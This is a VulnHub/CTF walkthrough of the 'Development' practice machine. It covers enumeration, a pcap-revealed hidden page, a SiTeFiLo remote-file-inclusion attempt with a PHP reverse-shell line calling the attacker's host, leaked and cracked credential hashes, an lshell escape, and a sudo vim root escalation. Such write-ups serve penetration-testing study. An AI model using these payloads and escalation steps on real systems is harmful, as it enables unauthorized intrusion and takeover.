Development

Machine IP:

192.168.174.132

Domain:

dev.vh

```
This machine reminds us of a DEVELOPMENT environment: misconfigurations rule the roost. This is designed for OSCP practice, and the original version of the machine was used for a CTF. It is now revived, and made slightly more nefarious than the original.
```

If you MUST have hints for this machine (even though they will probably not help you very much until you root the box!): Development is (#1): different from production, (#2): a mess of code, (#3): under construction.

Note: Some users report the box may seem to be "unstable" with aggressive scanning. The homepage gives a clue why.

Feel free to contact the author at https://donavan.sg/blog if you would like to drop a comment.

nmap

```
-(teja%kali)-[~/vulnhub/development]
—$ nmap -sV -sC 192.168.174.132 -oN nmapscan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-22 22:48 EDT
Nmap scan report for 192.168.174.132
Host is up (0.00026s latency).
Not shown: 995 closed tcp ports (conn-refused)
                          VERSION
PORT
        STATE SERVICE
22/tcp
                          OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
       open ssh
 ssh-hostkey:
   2048 79072b2c2c4e140ae7b36346c6b3ad16 (RSA)
   256 246b85e3ab905cecd5834954cd983195 (ED25519)
113/tcp open ident?
auth-owners: oident
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
_auth-owners: root
445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
 auth-owners: root
8080/tcp open http-proxy IIS 6.0
```

Enumeration

Can't use gobuster because there is appranetly a "Host intrusion detection system" that is just terminating the connection whenever rapid requests are made by gobuster.

Source code revealed /development page

http://dev.vh:8080/development

```
Under development we have a variety of projects.

/test.pcap: a simple bash script that allows Director, from the comfort of his desk, to be routinely fed network information. He can then employ a scraper to download the .pcap files to view at his own convenience.

/development.html: the landing page to our development secret page. Only insiders will know!

/registration: under construction.

We are also testing a very simple web-based log-in form, a HIDS called OSSEC (heard it is awesome) and some other developments.

The question is, do you know what to do? Try harder!
```

Downloaded test.pcap from http://dev.vh:8080/test.pcap

Found a "secret" page from the test.pcap


/developmentsecretpage

```
Wireshark · Packet 5 · test.pcap
Frame 5: 306 bytes on wire (2448 bits), 306 bytes captured (2448 bits)
Ethernet II, Src: VMware_70:fc:5a (00:0c:29:70:fc:5a), Dst: VMware_25:bd:d3 (00:0c:29:25:bd:d3)
Internet Protocol Version 4, Src: 192.168.254.163, Dst: 192.168.254.157
Transmission Control Protocol, Src Port: 1183, Dst Port: 8080, Seq: 1, Ack: 1, Len: 252 
Hypertext Transfer Protocol
   GET /developmentsecretpage/directortestpagev1.php HTTP/1.1\r\n
    > [Expert Info (Chat/Sequence): GET /developmentsecretpage/directortestpagev1.php HTTP/1.1\r\n]
       Request Method: GET
       Request URI: /developmentsecretpage/directortestpagev1.php
       Request Version: HTTP/1.1
   Accept: */*\r\n
Accept-Language: en-us\r\n
   Accept-Encoding: gzip, deflate\r\n
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n
   Host: 192.168.254.157:8080\r\n
    Connection: Keep-Alive\r\n
    \r\n
    [Full request URI: http://192.168.254.157:8080/developmentsecretpage/directortestpagev1.php]
    [HTTP request 1/1]
     [Response in frame: 7]
```

Found another page:

http://dev.vh:8080/developmentsecretpage/sitemap.php

Found a login page



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When tried to login with dummy creds:



Deprecated: Function ereg replace() is deprecated in /var/www/html/developmentsecretpage/slogin_lib.inc.php on line 335

Deprecated: Function ereg_replace() is deprecated in /var/www/html/developmentsecretpage/slogin_lib.inc.php on line 336

Hi Director! This is the test page to provide Director with eye-catching updates.

We know Director is busy and hence needs updates delivered in a timely manner.

Patrick and I will routinely update this page with a pop-up that details if there is anything important.

Regards Patrick Head, Development Network

Click here to log out.

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Googling slogin_lib.inc.php shows a vulnerability in Simple Text-File Login script (SiTeFiLo) 1.0.6 - File Disclosure / Remote File Inclusion https://www.exploit-db.com/exploits/7444

```
EXPLOIT: /[path]/slogin_lib.inc.php?slogin_path=[remote_txt_shell]
```

SiTeFiLo - the login is done from a simple text file.

Vulnerable code:

```
[CODE] include_once ($slogin_path . "header.inc.php"); [/CODE]
```

Since the slogin_path variable is directly appended to the header.inc.php - we can create header.inc.php with a reverse shell code, host it on our server and make a request by putting slogin path as our host.

header.inc.php

```
$sock=fsockopen("192.168.174.131",1560);system("sh <&3 >&3 2>&3");
```

http://dev.vh:8080/developmentsecretpage/slogin_lib.inc.php?slogin_path=http://192.168.174.131:8000/

Didn't work. We are not even getting a request to the python HTTP server for the file.


But there is another bug of Sensitive Data disclosure for the same SiTeFiLo. We can see the text file that contains the creds

```
[!] EXPLOIT: /[path]/slog_users.txt
```

http://dev.vh:8080/developmentsecretpage/slog_users.txt

```
admin, 3cbldl3bb83ffff2defe8d1443d3a0eb
intern, 4a8a2b374f463b7aedbb44a066363b81
patrick, 87e6d56ce79af90dbe07d387d3d0579e
qiu, ee64497098d0926d198f54f6d5431f98
```

Hashes cracked with hashes.com



patrick:P@ssw0rd25
intern:12345678900987654321
qui:qiu

admin password could not be cracked.

SSH login worked for intern creds.

Shell is restricted.

```
intern:~$ whoami
*** unknown syntax: whoami
intern:~$ sudo -l
*** forbidden sudo -> sudo -l
intern:~$ sl
*** unknown syntax: sl
intern:~$ ls
access local.txt work.txt
intern:~$ cat local.txt
*** unknown syntax: cat
intern:~$ more work.txt
*** unknown syntax: more
intern:~$ cd access
intern:~/access$ ls
IA64 tcpdump.txt W32ALPHA W32MIPS
                                     W32PPC
                                             W32X86 WIN40
intern:~/access$ cat tcpdump.txt
*** unknown syntax: cat
intern:~/access$ hostname
*** unknown syntax: hostname
intern:~/access$ pwd
*** unknown syntax: pwd
intern:~/access$
```

Allowed commands:

```
Welcome to Development!

Type '?' or 'help' to get the list of allowed commands intern:~$

intern:~$?

cd clear echo exit help ll lpath ls intern:~$
```

This is a limited shell.

https://0xffsec.com/handbook/shells/restricted-shells/

```
intern:~$ echo $SHELL
/usr/local/bin/lshell
intern:~$
```

The shell is lsshell https://github.com/ghantoos/lshell

The shell can be bypassed: https://www.aldeid.com/wiki/Lshell

Security

Bypassing Ishell with os.system

Ishell can be easily bypassed provided you have access to the "echo" command:

With Ishell, the user is restricted to a number of limited commands:

```
user:~$ id

*** unknown command: id
user:~$ help
cd clear echo exit help ll lpath ls
```

But it can be easily bypassed:

```
user:~$ echo os.system('/bin/bash')
user@lshell:~$ id
uid=1000(user) gid=1000(user) groupes=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),110(lshell)
```

Now we have a proper shell.

```
echo os.system('/bin/bash')
```

We can switch to patrick as we already have the password from before.

```
patrick@development:/tmp$ sudo -l
Matching Defaults entries for patrick on development:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/shin\:/snap/bin
User patrick may run the following commands on development:
    (ALL) NOPASSWD: /usr/bin/vim
    (ALL) NOPASSWD: /bin/nano
```

vim and nano dont require password.

GTFO bins for vim: https://gtfobins.github.io/gtfobins/vim/

Spawn a new bash shell with vim

```
patrick@development:/tmp$ vim -c ':!/bin/bash'
patrick@development:/tmp$ sudo vim -c ':!/bin/bash'
root@development:/tmp# whoami
root
root@development:/tmp#
```

Ta-da! We root!